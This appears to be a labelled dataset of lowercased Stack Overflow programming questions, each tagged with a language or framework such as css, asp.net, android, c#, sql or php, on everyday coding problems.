li elements are getting double margin  ul element cant be properly sized  this problem is a double whammy  essentially  i have this setup:   <pre><code>&lt;section&gt;     &lt;ul&gt;         &lt;li&gt;&lt;/li&gt;         &lt;li&gt;&lt;/li&gt;         &lt;li&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;div&gt;&lt;/div&gt;     &lt;div&gt;&lt;/div&gt; &lt;/section&gt; </code></pre>   here is the stylesheet:   <pre><code>ul{     width: 100%;     margin: -5px 0;     padding: 0;     background-color: tomato; }  li{     width: 200px;     height: 100px;     margin: 5px;     background-color: yellowgreen;     float: left;     list-style: none; }  ul:after{     content:    ;     height: 0;     display: block;     clear: both; }  div{     width: 100%;     height: 100px;     margin: 5px;     background-color: cornflowerblue; } </code></pre>   fiddle: <a href= http://jsfiddle.net/p299jd55/2/  rel= nofollow >http://jsfiddle.net/p299jd55/2/</a>    the problem is that i want the list items to pretend as though the <code>&lt;ul&gt;</code> isn t there.  the version i have currently works on the vertical  but not on the horizontal.  additionally  the <code>&lt;ul&gt;</code> is a bit smaller than the divs so the list elements will not line up correctly with the divs even if they would normally.  i want the list elements to appear as the other divs do (except smaller).  the problem is that i need to keep them in the <code>&lt;ul&gt;</code> element in order for my vm binding library (knockoutjs) to work correctly.    is there any way to get around this without introducing a wrapper for the divs as well   i d like to keep down the number of elements that exist solely to hack css to a minimum.  if there is no way to do this without wrapping the divs  i am okay with that but i would prefer it be the last resort option.,css
how to apply an ellipsis to checkboxlist control label text  i have an asp.net checkboxlist control which will be bound from server side code. it s rendering in ui perfectly but when the text property of any of list item contains more text say 200 characters then how to apply a ellipsis to that label     my code:   <pre><code>&lt;div style= width:300px;height:200px;overflow:auto; &gt;     &lt;asp:checkboxlist id= chklststates  checkboxes= true  width= 250px          repeatcolumns= 1  repeatdirection= vertical  repeatlayout= flow           runat= server  selectionmode= multiple  cssclass= nowrap_list &gt;             &lt;asp:listitem text= alabama  value= alabama &gt;&lt;/asp:listitem&gt;             &lt;asp:listitem text= alaska  value= alaska &gt;&lt;/asp:listitem&gt;             &lt;asp:listitem text= arizona  value= arizona &gt;&lt;/asp:listitem&gt;             &lt;asp:listitem text= arkansas  value= arkansas &gt;&lt;/asp:listitem&gt;             &lt;asp:listitem text= california  value= california &gt;&lt;/asp:listitem&gt;             &lt;asp:listitem text= connecticut  value= connecticut &gt;&lt;/asp:listitem&gt;             &lt;asp:listitem text= new yorknew yorknew yorknew yorknew yorknew yorknew yorknew yorknew yorknew yorknew yorknew yorknew york  value= new york &gt;&lt;/asp:listitem&gt;         &lt;/asp:checkboxlist&gt;     &lt;div style= text-align:right; &gt;         &lt;asp:button id= button1  runat= server  text= cancel  /&gt;         &lt;asp:button id= button2  runat= server  text= submit  /&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.nowrap_list label {     overflow: hidden;     text-overflow: ellipsis;     white-space: nowrap;     display:block; } </code></pre>   it s working ok but checkbox and text are rendered on two different lines.,asp.net
difference between web page and web form  i want to know the difference between web page and web form,asp.net
click two buttons at the same time in android  i have two buttons that both have ontouchlisteners and perform an action when pressed down. why do they not work if you try to click both at the same time  i m building for android 1.6. i don t have a real device to test on  and you can t test clicking two things at the same time in the emulator. thanks for any help.,android
how can i set a dynamic model name in angularjs   i want to populate a form with some dynamic questions (fiddle <a href= http://jsfiddle.net/2awlm/19/ >here</a>):   <pre><code>&lt;div ng-app ng-controller= questioncontroller &gt;     &lt;ul ng-repeat= question in questions &gt;         &lt;li&gt;             &lt;div&gt;{{question.text}}&lt;/div&gt;             &lt;select ng-model= answers[ {{question.name}} ]  ng-options= option for option in question.options &gt;             &lt;/select&gt;         &lt;/li&gt;     &lt;/ul&gt;      &lt;a ng-click= showanswers() &gt;submit&lt;/a&gt; &lt;/div&gt; ​ function questioncontroller($scope) {     $scope.answers = {};      $scope.questions = [     {          text :  gender             name :  genderquestion            options : [ male    female ]}      {          text :  favorite color             name :  colorquestion            options : [ red    blue    green ]}     ];      $scope.showanswers = function()     {         alert($scope.answers[ genderquestion ]);         alert($scope.answers[ {{question.name}} ]);     }; }​ </code></pre>   everything works  except the model is literally answers[ {{question.name}} ]  instead of the evaluated answers[ genderquestion ]. how can i set that model name dynamically,angularjs
tracking anothe iphone on mapview  i want to developed iphone application in which i want to track another iphone on google map with in 10km region what kind of api can i use please tell me    thanks,iphone
how to validate the fields when i click on a button at the first time   validation of the fields education and moral education takes place when i click on the button at the second time.    i want the validation to take place when i click on the button at the first time.    i have the following code:   <pre><code>$( body ).on( change    #education   function(){     if( !$( #education ).val() ) {         $(this).closest( .form-group ).addclass( has-error );        }else{         $(this).closest( .form-group ).removeclass( has-error );     } });  $( body ).on( change    #moraleducation   function(){     if( !$( #moraleducation ).val() ) {          $(this).closest( .form-group ).addclass( has-error );     }else{         $(this).closest( .form-group ).removeclass( has-error );     } });  //education $( body ).on( click    #update   function(){     if($( body #education ).hasclass( parsley-error )){         $( body #education ).closest( .form-group ).addclass( has-error );     }   });  //moraleducation $( body ).on( click    #update   function(){     if($( #moraleducation ).hasclass( parsley-error )){         $( #moraleducation ).closest( .form-group ).addclass( has-error );     }    }); </code></pre>,javascript
"swapping the images to enable / disable div  i am just a beginner. is there a code to use two different images as buttons to disable and enable . most examples use two separate buttons but i need to use a single button with two images: one for off and the other one for on.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>    $(function() {
         $( #enable ).click(function(){
        $( .div1 * ).prop( disabled  true);
     });
         
         $( #disable ).click(function(){
        $( .div1 * ).prop( disabled  false);
     });
     });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code> &lt;!doctype html&gt;
     &lt;html lang= en &gt;
     &lt;head&gt;
       &lt;meta charset= utf-8 &gt;
       &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;
       &lt;title&gt;test&lt;/title&gt;
       &lt;link rel= stylesheet  href= https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css &gt;
       &lt;link href= css/multitoggle.css  rel= stylesheet  type= text/css  /&gt;
       &lt;script src= https://code.jquery.com/jquery-1.12.4.js &gt;&lt;/script&gt;
       &lt;script src= https://code.jquery.com/ui/1.12.1/jquery-ui.js &gt;&lt;/script&gt;
       &lt;script language= javascript  type= text/javascript &gt;&lt;/script&gt;
     &lt;/head&gt;
     
     &lt;body&gt;
     &lt;div class= div1 &gt;
             name:&lt;input type= text  id= fullname   value= name /&gt;&lt;br&gt;
       &lt;br&gt;
             &lt;input type= button  id= button1   value= submit  /&gt;
         &lt;div&gt;&lt;/div&gt;
         
     &lt;/div&gt;
     
     &lt;input type= image  src= assets/trans_off.jpg  id= enable  value= enable /&gt;
     &lt;input type= image  src= assets/trans_on.jpg id= disable  value= disable /&gt;
    
     &lt;/body&gt;
     &lt;/html&gt;    </code></pre>
 </div>
 </div>",html
refer to current class instance as subclass type from superclass  is there a way to get the current class instance (equivalent to  this ) except as the type of the subclass  in a superclass     when i do something similar (it s too big and complicated to show the actual code  i m just hoping this works the same) to the following the type that gets supplied to c.dostuff() is an instance of a  not b. i m doing reflection work on the properties of a class and because it s of type a i don t get the properties from type a   <pre><code>class a {   public void dostuff()   {     c.dostuff(this);    } }  class b : a {  }  class c {   public static void main(string[] args)   {     a inst = new b();     inst.dostuff();   }    public static void dostuff&lt;t&gt;(t obj) {//do reflection on generic type} } </code></pre>,c#
add a line after the fragment in the linearlayout  i am trying to add a line after the man fragment in the linearlayout to distinguish between the map area and the yellow area below the map but the black line appear  how can i add a line after the map fragment     i appreciate any helo.    <strong>map.xml</strong>   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:orientation= horizontal      android:layout_width= fill_parent      android:layout_height= fill_parent      android:background= #ffff00 &gt;      &lt;fragment     android:layout_width= match_parent      android:layout_height= 500dp      android:id= @+id/map      android:name= com.google.android.gms.maps.supportmapfragment /&gt;      &lt;view     android:layout_width= fill_parent      android:layout_height= 2dp      android:background= #181407 /&gt;    &lt;/linearlayout&gt; </code></pre>,android
custom views or custom cells  i have a question about creating custom views. i wanted to implement an interface where i want to have different objects configured in one place  each of them with it s own controls. kind of like in automator  on the right side view where the workflow is shown with different actions. are those nsview or nscell subclasses   any example will be appreciated !    ken,objective-c
php connecting to mysql database  so i am trying to connect to a mysql database through php.  the page is getting form input from an html page.    what the program below should do is check if the variable <code>$uname</code> is in my table named useraccounts.  here is the sql expression   <pre><code>select * from useraccounts where username=  $uname   </code></pre>   i have tried it with and without the single quotes around uname. then the code should echo the variable $name. the <code>$name</code> variable should be equal to the column password2 in my table. once the sql works i intend to push this code into an if statement that checks whether or not the account exists. then the code should redirect to the user homepage.    any ideas what the problem is     also  if you are wondering what the <code>userlogin</code> and <code>userpass</code> variables are  they come from the form. they are the name of the two tags in my html form. the password value will eventually be included in the sql as well.     <pre><code>&lt; php    echo( &lt;html&gt;&lt;head&gt;&lt;title&gt;user sign-up&lt;/title&gt;&lt;/head&gt;\n );    $dbcnx = mysqli_connect( dbv   uname   pass    db );   // check connection   if (!$dbcnx) {     echo(  &lt;p&gt;unable to connect to the   .      database server at this time.&lt;/p&gt;\n  );     exit();   }   // escape user inputs for security   $uname = mysqli_real_escape_string($dbcnx  $_request[ userlogin ]);   $upass = mysqli_real_escape_string($dbcnx  $_request[ userpass ]);   echo($uname);   $q = mysql_query( select * from useraccounts where username=  $uname  );   $r = mysql_fetch_array($q);   $name = $r[ password2 ];   echo($name);   &gt; </code></pre>,mysql
compare a string row  let´s say that i have a string that looks like this:   <pre><code>string widthstr=  0086;0086;0086;0086;0086;0086;0086;0086;0085; ; </code></pre>   and then i´m picking up the first number:   <pre><code>firstrollwidthstr = widthpadleft.substring(0  4); </code></pre>   the question i have is: is it possible to compare the data i that i got from the row below (<code>firstrollwidthstr = widthpadleft.substring(0  4);</code>) with the rest     so from firstrollwidthstr = widthpadleft.substring(0  4); i got: 0086. and there are more numbers in string widthstr  and the last number are 0085 so it´s different from 0086 so i want to pick up the numbers who are different from the first number.,c#
comparing enum value with enum instance  why can t it be done like this    <pre><code>    #include&lt;stdio.h&gt;     #include&lt;stdlib.h&gt;     struct test     {         value z;         int x;     };      main()     {         enum value {a b c d};         struct test come;         come.z = 2;         if (a == z) printf( they match  );         else printf( dont match );     } </code></pre>,c
why does accessing c++ string class through string.h work   in the c++ program below  i include the string.h file and i successfully instantiate the c++ string class in it and call one of its member functions: size().   <pre><code>#include &lt;iostream&gt; #include &lt;string.h&gt; using namespace std;  int main( ) {     string s =  hello ;     cout &lt;&lt;  string:   &lt;&lt; s &lt;&lt; endl;     cout &lt;&lt;  size of string:   &lt;&lt; s.size() &lt;&lt; endl;     cin.get();     return 0;     } </code></pre>   the output is:   <pre><code>string: hello size of string: 5 </code></pre>   i am using dev-c++ 4.9.9.2    my question: doesn t the string.h file just provide the functions for manipulating c strings  it doesn t include the definition of the c++ string class right  so  how is it that i am able to access the c++ string class without using <code>#include &lt;string&gt;</code>  my understanding is that the string.h file is the c strings library file and <code>&lt;string&gt;</code> includes the c++ string library file. is this not right     thanks!,c++
images.xcassets size is changing when converted to .car   the original folder size of images.xcassets is 138mb in my app.     i made archive  and export it as <strong>.ipa</strong> file. i have changed extention  ipa to zip. i have extracted it.     i saw the size of <strong>250mb+</strong>.     when i upload it to itune  it compresses  but still size of application is huge.    i have read steps by apple    <a href= https://developer.apple.com/library/ios/qa/qa1795/_index.html#//apple_ref/doc/uid/dts40014195-ch1-measure  rel= nofollow >https://developer.apple.com/library/ios/qa/qa1795/_index.html#//apple_ref/doc/uid/dts40014195-ch1-measure</a>    it is not worthy. i want to know reason  why <strong>.car</strong> file is huge than original images size,ios
few main() methods in one java package  i suddenly wonder that what s the difference between creating multiple main methods  and creating one main method in a java package.    example 1  an a.java has its main method  then the a.java method will pass some to the b.java that also has its main method.     a.java ( a.java s main method ) --(passing some to)--> b.java (b.java s main method )    example 2  not like the above  the a.java does not have its main method but b.java only has its main method. run the b.java to get some from the a.java .    run b.java (this only has its main method) --(to get some from ) --> a.java (it does not have its main method )    i think this is complicated to explain as text... i just want to know that what is the difference between them   and if you recommend either one of them  which one would be good,java
inject html without using jscript  i have the following code:   <pre><code>&lt;ul id= mylist &gt;    &lt;li class= li1 &gt;example 1&lt;/li&gt;    &lt;li class= li2 &gt;example 2&lt;/li&gt;    &lt;li class= li3 &gt;example 3&lt;/li&gt;    &lt;li class= li4 &gt;example 4&lt;/li&gt; &lt;/ul&gt; </code></pre>   is there any way i can transform the list to:   <pre><code>&lt;ul class= mylist &gt;    &lt;li class= li1 &gt;&lt;div class= container &gt;example 1&lt;/div&gt;&lt;/li&gt;    &lt;li class= li2 &gt;&lt;div class= container &gt;example 2&lt;/div&gt;&lt;/li&gt;    &lt;li class= li3 &gt;&lt;div class= container &gt;example 3&lt;/div&gt;&lt;/li&gt;    &lt;li class= li4 &gt;&lt;div class= container &gt;xample 4&lt;/div&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   <strike>using css only</strike>. without using javascript,css
how to get values in a tableview cell  i have a tableview cells containing bible verses one by one in each cell my need is when the user tap the cell i have to get the verse inside the tapped cell in a string formate.this is for sharing functionality. please help me.,iphone
custom labels in tableviewcell  im trying to make a custom label instead of the standard textabel and detailtextlabel.     i ve tried doing this by creating a label called  labelnumb   but it wont print it in the cells how come and how can i position this label in the cell    <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath  {       static nsstring *cellidentifier = @ cell ;     uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier forindexpath:indexpath];      if (cell == nil) {         cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier];     }       cell.userinteractionenabled = no;        uilabel *labelnumb = [[uilabel alloc] init];     [cell.contentview addsubview:labelnumb];     labelnumb.text = [nsstring stringwithformat:@ %@  [scorearray2 objectatindex:indexpath.row]];     return cell; } </code></pre>,objective-c
c# less than by a certain amount  i have a simple loop here:   <pre><code>for (; ; )         {             if (start == end)             {                 break;             }             else             {                 {                     if (start &gt; end)                     {                         sendkeys.sendwait( {f9} );                         file.writealltext(path  string.empty);                         createtext =  bind f9 \ exec odymod\   + environment.newline;                         createtext = cmd +     + start + environment.newline;                         file.writealltext(path  createtext);                         start = start - inc;                     }                     else                     {                         sendkeys.sendwait( {f9} );                         file.writealltext(path  string.empty);                         createtext =  bind f9 \ exec odymod\   + environment.newline;                         createtext = cmd +     + start + environment.newline;                         file.writealltext(path  createtext);                         start = start + inc;                     }                     system.threading.thread.sleep(20);                 }             }         } </code></pre>   however  i run into a problem. i am trying to break the loop once start = the end  which works  however  if inc is a decimal then start will never truly equal end. is there a way that i can see if instead of being exactly equal to another number  that i can see if its within a set range of that number  for example  i wanna see if start is within 0.5 of end  then break.,c#
javascript detect window.location.hash on <a> click <pre><code>&lt;script&gt; if(window.location.hash){     var x = location.hash;         if(x ==  #abc ){alert(x);} } &lt;/script&gt;  &lt;a href= #abc &gt;clikc me&lt;/a&gt; </code></pre>   i need detect when user click <code>&lt;a&gt;</code> if hash is correct  will do something...    when i click <code>&lt;a href= #abc &gt;clikc me&lt;/a&gt;</code> its not working.    it only works when i enter testing.php#abc on url bar,javascript
what kind of command is truncate in sql ansi  in sql ansi truncate is a function or a statement      what kind of command is truncate in sql ansi,sql
custom usercontrol in asp.net  i am designing a user control in asp.net where in i have a textbox and onfoucus javascript event i am showing a checkbox list below and onblur event i am hiding the checkbox list control    now the problem is when i focus the textbox the checkbox is visible and when i try to go and check the items it is getting hidden as onblur event is called.    how can i avoid this any other way for this basically like a dropdown list....,asp.net
how to delete records in the table which are repeated  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/12891402/how-to-delete-records-in-the-table-which-are-repeated >how to delete records in the table which are repeated </a>    </blockquote>     hi here i came across a situation in which by mistakenly without dropping the table i have run the batch file of the table which consists of some insert statements in detail    i have a table like alert_priority consists of records like   <pre><code>id  priority_name ---  -------------- 1     p0 2     p1 3     p2 </code></pre>   and now by mistakenly without dropping alert_priority i have executed script file of the table which consists of some insert statements and now after executing the script my records in the table are like   <pre><code>id  priority_name ---  -------------- 1     p0 2     p1 3     p2 1     p0 2     p1 3     p2 </code></pre>   now i want to delete the records which are extra(records after id 3) and i should have all the records which are present before i have executed the script file.    although i have an option to drop the table and execute the script file once again  i wanted to know is there any way which we can do through sql query  i have no primay keys in the table,mysql
yes or no loop (typeerror:  nonetype  object is not iterable) error  i m trying to implement a yes / no / retry  but i am getting this error:   nonetype  object is not iterable. i assume the issue is the function (def izberiekipo() is not returning what it s suppose to.   <pre><code>def izberiekipo():      m  = set([ m ])     p = set([ p ])       while false:         if reply in m:             with open( vprasanja2.txt ) as f:                 vsavprasanja = [line.strip() for line in f]                 max_line = len(vsavprasanja)             true           elif reply in p:             with open( vprasanja.txt ) as f:                 vsavprasanja = [line.strip() for line in f]                 max_line = len(vsavprasanja)             true          else:              sys.stdout.write( answer with  m  ord  p  )           return (max_line  vsavprasanja)    def genvprasanja ():      obsvred = set()     maxl  vsaq = izberiekipo()     tocke = 5     total = 0        .        .      [...] </code></pre>,python
how to instantiate list<t> but t is unknown until runtime   assume i have a class that is unknown until runtime. at runtime i get a reference  x  of type type referencing to foo.gettype(). only by using x and list&lt;>  can i create a list of type foo     how to do that,c#
looking for a tool to generate bindingredirect-s for .net assemblies  say  my .net project deployment directory looks like:   <pre><code>mycomponent.dll mycomponent.dll.config 3rdpartycomponent.dll 3rdparty.dll.config newtonsoft.json.dll (v7) etc. </code></pre>   mycomponent.dll refers newtonsoft.json version 7 and 3rdpartycomponent.dll refers newtonsoft.json version 6. i d like to catch this case and get a hint that bindingredirect for newtonsoft.json assembly is needed in 3rdparty.dll.config.    of course  tool should be clever enough to analyze existing bindingredirect-s and find that correct redirect is already in config file.,.net
ios push notification open different app  can ios push notifications open another app via its url scheme (ie. someapp://someurlscheme)  i ve looked through the documentation but haven t seen any mention of this.,ios
max() is returning 99 when 100 should be the highest in my list <pre><code>def get_highs():     atltemps = open( tempsatlanta2015.txt )     highs = []     highs = split_data(atltemps  highs  2)     atltemps.close()     return highs  def split_data(lst  lst2  num):     for i in lst:         data = i.split(   )         lst2.append(data[num])     return lst2  def main():     highs = get_highs()     print(max(highs)) main() </code></pre>   i pulled these functions out of my main program to troubleshoot  and i seem to be having a problem with using max(). in the text document i am pulling information from the highest number returned by max() should be 100 but instead it is returning 99. i can index out 100 so i know for certain that 100 is contained in the list. any help would be much appreciated!    here is part of the text file  the information is stored as <code>[month  day  high  low]</code>   <pre><code>7 29 99 76 7 30 98 76 7 31 96 73 8 1 93 71 8 2 96 68 8 3 98 71 8 4 99 69 8 5 100 71 8 6 90 72 … </code></pre>,python
first argument in form cannot contain nil or be empty rails 4 associated models  i have a provider model which has many comments. i have a current setup working with the form being:    views/comments/_form.html.erb   <pre><code>&lt;%= form_for([@provider  comment.new] ) do |f| %&gt;  &lt;%= f.text_area :body  cols: 30  rows: 4  class:  form-control  %&gt; &lt;%= f.hidden_field :user_id  value: current_user.id  class:  form-control  %&gt; &lt;div&gt; &lt;/br&gt; &lt;%= f.submit :post  class:  btn btn-primary btn-lg  %&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>   but i dont think its right from what iv seen around it should be    <pre><code>&lt;%= form_for([@provider  @comment[) do |f| %&gt; </code></pre>   but this method i get the following error   <pre><code>first argument in form cannot contain nil or be empty  </code></pre>   i access my comments form from within my provider show.html.erb like this   <pre><code>&lt;%= render  comments/form   provider: @provider %&gt; </code></pre>   my comments views are just _form.html.erb and _comments.html.erb which lists all the comments for a given provider.    my comments_controller.rb is as follows   <pre><code>class commentscontroller &lt; applicationcontroller  before_action :set_provider  def new  @comment = comment.new end  def create  @provider = set_provider  @comment = @provider.comments.create!(comment_params)  redirect_to @provider end  def destroy  @provider = set_provider  @comment = comment.find(params[:id])  @comment.destroy  redirect_to @provider end  private  def set_provider  @provider = provider.find(params[:provider_id]) end  def comment_params  params.require(:comment).permit(:body  :user_id) end end </code></pre>   if anyone point me in the right direction that would be very much appreciated.,ruby-on-rails
iphone xcode use of undeclared identifier  i just started programming in objective-c and i have a problem with  use of undeclared identifier  uneimage ; did you mean  _uneimage   . lot of post speak about this but i haven t found the solution.    .h :   <pre><code>      #import        @interface viewcontroller : uiviewcontroller      {         uiimagepickercontroller *picker;     }      @property (weak  nonatomic) iboutlet uiimageview *uneimage;       - (ibaction)album:(id)sender;     @end  </code></pre>   .m   <pre><code>      #import  viewcontroller.h       @interface viewcontroller ()      @end      @implementation viewcontroller      - (ibaction)album:(id)sender     {         picker = [[uiimagepickercontroller alloc] init];         picker.delegate = self;         picker.sourcetype = uiimagepickercontrollersourcetypephotolibrary;         [self presentviewcontroller:picker animated:yes completion:nil];     }      - (void)imagepickercontroller:(uiimagepickercontroller *)picker didfinishpickingmediawithinfo:(nsdictionary *)info     {         uneimage.image = [info objectforkey:uiimagepickercontrolleroriginalimage];         [picker dismissviewcontrolleranimated:yes completion:nil];     }      - (void)viewdidload     {         [super viewdidload];         // do any additional setup after loading the view  typically from a nib.     }      - (void)didreceivememorywarning     {         [super didreceivememorywarning];         // dispose of any resources that can be recreated.     }      @end  </code></pre>,objective-c
delete complete column from table <pre><code>[name] [major_version] [minor_version] [revision] [install_failures]     s       23                1            null           0 </code></pre>   this is my table. how can i delete the <code>revision</code> column (not the value  the complete revision column) from table,sql
uitextfield with securetextentry is not respecting clearsonbeginediting  if i set clearsonbeginediting and have a secure text field and if you lose focus on the field and come back again and start typing it will always clear the textfield. does anyone have a way around this,iphone
turning multiple data records into a single record  i have a table containing item data that it its simplest form consists of an item number and a category. an item number can be in multiple categories but not all items are in every category:   <pre><code>item                   category  1111                   a 1111                   b 1111                   c 2222                   a 3333                   b 3333                   c </code></pre>   i have to put this data into a feed for a 3rd party in the form of an single item number and its associated categories. feed layout cannot be changed.    so for the above the feed would have to contain the following   <pre><code>1111 a b c 2222 a 3333 b c </code></pre>   does anyone know how to does this. i have spiralled into a group by  roll up  pivoting mess and could use some assistance.    thanks,sql
accessing class a from class b  i am doing this piece of school work. its about bin packing problem but its a bit modified about a trolley. there can be two or more piles inside the trolley. what i have done so far is made a parcel class and pile class. there are few rules to this that i need to follow. one of them is that when i put parcel (width 3) inside pile i cant put parcel (width 4) on top of it.    yes i will have trolley class  pile class and parcel class.    what i am trying to do here make a function inside the pile class that changes the width of the pile to whatever the width of the parcel is that was just put in. how do i access parcel width from pile class   will it just be getw()   much appreciated the help. or should i do this inside the trolley class   not exactly sure how to implement this.   <pre><code>public class parcel { private int h; private int w; private int customer;  parcel(int inh  int inw  int incustomer){     this.h = inh;     this.w = inw;     this.customer = incustomer; }  public int seth(){      int x = (int )(math.random() * 50 + 1);      return x; }  public int setw(){      int y = (int )(math.random() * 100 + 1);      return y; }  public int getw(){     return w; }  public int geth(){     return h; } </code></pre>,java
is omitting type= text  on an input considered bad practice   i have an html page that is way too junky  so i am trying to trim it down.    i always put <code>type= text </code> on my inputs  when they are text inputs:   <pre><code>&lt;input type= text  /&gt; </code></pre>   however  it doesn t seem that browsers strictly require that.    is omitting this attribute where it is text considered bad practice,html
how to link a button to a textbox   i have a textbox and several buttons. when the textbox is focused and <code>&lt;enter&gt;</code> key is pressed i want a particular button to run. how can i do that     my textbox:   <pre><code> &lt;asp:textbox id= txtpost  cssclass= txtpost  textmode= multiline  runat= server &gt;  &lt;/asp:textbox&gt; </code></pre>   my buttons:   <pre><code>&lt;asp:button id= btn1  runat= server  text=   /&gt; &lt;asp:button id= btn2  runat= server  text=   /&gt; &lt;asp:button id= btn3  runat= server  text=   /&gt; </code></pre>   when <code>#txtpost</code> is focused and <code>&lt;enter&gt;</code> is pressed <code>#btn2</code> should run. ideas on how to accomplish this,asp.net
nsuinteger should not be used in format strings   here s my code in all it s glory:   <pre><code>[nsstring stringwithformat:@ total properties: %d   (int)[inarray count]]; </code></pre>   which gets me an xcode 5.1 warning:   <pre><code>values of type  nsuinteger  should not be used as format arguments; add an explicit cast to  unsigned long  instead </code></pre>   ok so i m confused. the value really is a 32-bit int  and i cast it to a 32-bit int. so what is this nsuinteger it s complaining about (the count i assume) and why doesn t this cast fix it,objective-c
a logcat error on android edittext  this is my code. i would like to save my strings into the shared preference.    <pre><code>private string sla; private string b; private string c; //edittext aa=(edittext)findviewbyid(r.id.et1); edittext aa2=(edittext)findviewbyid(r.id.et2); edittext aa3=(edittext)findviewbyid(r.id.et3); sharedpreferences settings = getsharedpreferences ( pref_demo   0);   /** called when the activity is first created. */       @override       public void oncreate(bundle savedinstancestate) {          super.oncreate(savedinstancestate);          setcontentview(r.layout.setup);           radiogroup rdg=(radiogroup)findviewbyid(r.id.ragp);           rdg.setoncheckedchangelistener(new radiogroup.oncheckedchangelistener() {                 public void oncheckedchanged(radiogroup group  final int checkedid) {                     switch (checkedid) {                         case r.id.radio0:                             sla =  au ;                             toast.maketext(group.getcontext()   auto   toast.length_long).show();                             break;                         case r.id.radio1:                              sla =  ma ;                              toast.maketext(group.getcontext()   manual   toast.length_long).show();                             break;                         }                 };             });          final button set = (button) findviewbyid(r.id.nn);          set.setonclicklistener(new view.onclicklistener() {              public void onclick(view v) {                  // perform action on click                 // a=aa.gettext().tostring();                  b=aa2.gettext().tostring();                  c=aa3.gettext().tostring();                  sharedpreferences.editor editor = settings.edit();                   editor.putstring( sp   b);                  editor.putstring( tp   c);                  editor.putstring( op   sla);                  editor.commit();                  toast.maketext(v.getcontext()   saved   toast.length_long).show();              }          }); </code></pre>   so  i got an exception from the logcat telling error on line  edittext aa3=(edittext)findviewbyid(r.id.et3);  there is no parsing error in this code.,android
can i add background color only for padding   i have a header box including border and padding and background color for that box  can i change the background color only for the padded region after the border and then the same background color for the rest of the width (i.e. grey in the given code)     just a pinch of the code where i want the padded background color:   <pre><code>nav {     margin:0px auto;     width:100%;     height:50px;     background-color:grey;     float:left;     padding:10px;     border:2px solid red; } </code></pre>,css
script disable in text boxes  how can i prevent a script from executing in text boxes  by using jquery     here is my complete  problem:    i want to send a message to  someone using jquery; if i entered a script tags like <code>a</code>  <code>href</code>  <code>script</code>  etc. they are not appearing in the other s message. how can i prevent this,jquery
"how to add color overlay on an image  so i have an image. i need to put a color overlay <code>rgba(56  59  64  0.7)</code> on top of this image.    html:   <pre><code>&lt;div class= home &gt;    &lt;img src= ~/images/plant.png  /&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.home img {   width: 100%;   padding: 0;   margin: 0; } </code></pre>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.home img {
   width: 100%;
   padding: 0;
   margin: 0;
 }
     </code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= home &gt;
    &lt;img src= ~/images/plant.png  /&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
angularjs autocomplete in already created directives  i already have a directive for inputbox. i need to implement autocomplete feature on that    here is my directive code    <pre><code>app.directive( bhaddcategory   [ $rootscope    $timeout  function($rootscope  $timeout) {     return {         scope: {                 rmtext:  =bhrmtext           }          replace: true          template:  &lt;div&gt;  +              &lt;div class= pull-left fordrop &gt;&lt;input type= text  focus-on= focusme  ng-class= mycolonylist  class= effect1  placeholder= add a colony  data-ng-model= newcategoryname  data-ng-trim= true  ng-keypress= pressenter($event) &gt;&lt;/div&gt;  +              &lt;div class= pull-right &gt;&lt;a href=  &gt;&lt;img src= /images/greyplus.png  ng-class= {imageoverflow: imageoverflow}  ng-show= loadplus  data-ng-click= addcategory()  alt= add category &gt;&lt;img src= /images/loader.gif  ng-class= {imageoverflow: imageoverflow}  alt=   ng-show= loadgif  class= colonyloder &gt;&lt;/a&gt;&lt;/div &gt;  +              &lt;/div&gt;           link: function(scope  element  attrs) {             scope.loadplus = true;              scope.pressenter = function(keyevent) {                 if (keyevent.which === 13)                     scope.addcategory();             };              scope.resetnewcategoryname = function() {                 if (scope.rmtext) {                     scope.newcategoryname =   ;                 }             };           }     }; }]); </code></pre>   how can i implement auto complete here.      any suggestions     thanks,angularjs
css controlling things with other things  i m <strong> new </strong> to the world of css3 / html5  and i want to do something but i didn t know how to do it. i d like to control an element with another element  for example  when .a is hovered  .b goes blue. is there a way to do this      thanks!,css
rails caches_action to json content type  for some reason   <code>render json: user.all</code> with a caches_action for :index returns content type text/html. how do i force it to application/json     before:   <pre><code>def index  render json: user.all.to_json end </code></pre>   returns json with content-type:  application/json     after:   <pre><code>caches_action :index  def index  render json: user.all.to_json end </code></pre>   returns json with content-type:  text/html . so technically it s a json string in html.,ruby-on-rails
how to access an array element using variable in php   i am trying to add a variable inside a variable    how can i do it      here is my code  in which i have to place $day in the place of mon (line 9) so that it echo data from sql database according to the day of week.    here is my code   <pre><code>&lt; php include_once( config.php ); date_default_timezone_set( asia/kolkata ); //$timestamp = time(); $day =    . date( d ); $result = mysqli_query($mysqli   select * from time_table where regd=  . $_session[ textbox1 ] .     order by id desc );         while($res = mysqli_fetch_array($result)) {             echo  &lt;tr&gt; ;             echo  &lt;td style= width: 30% &gt; .$res[ mon ]. &lt;/td&gt; ;             echo  &lt;td style= width: 30% &gt; .$res[ time ]. &lt;/td&gt; ;             echo  &lt;td style= width: 40% &gt; .$res[ room_no ]. &lt;/td&gt; ;             }          &gt; </code></pre>   so that the line 9 should look like    <pre><code>echo  &lt;td style= width: 30% &gt; .$res[ $day ]. &lt;/td&gt; ; </code></pre>   but it is wrong  i am able to figure it out how to do.,php
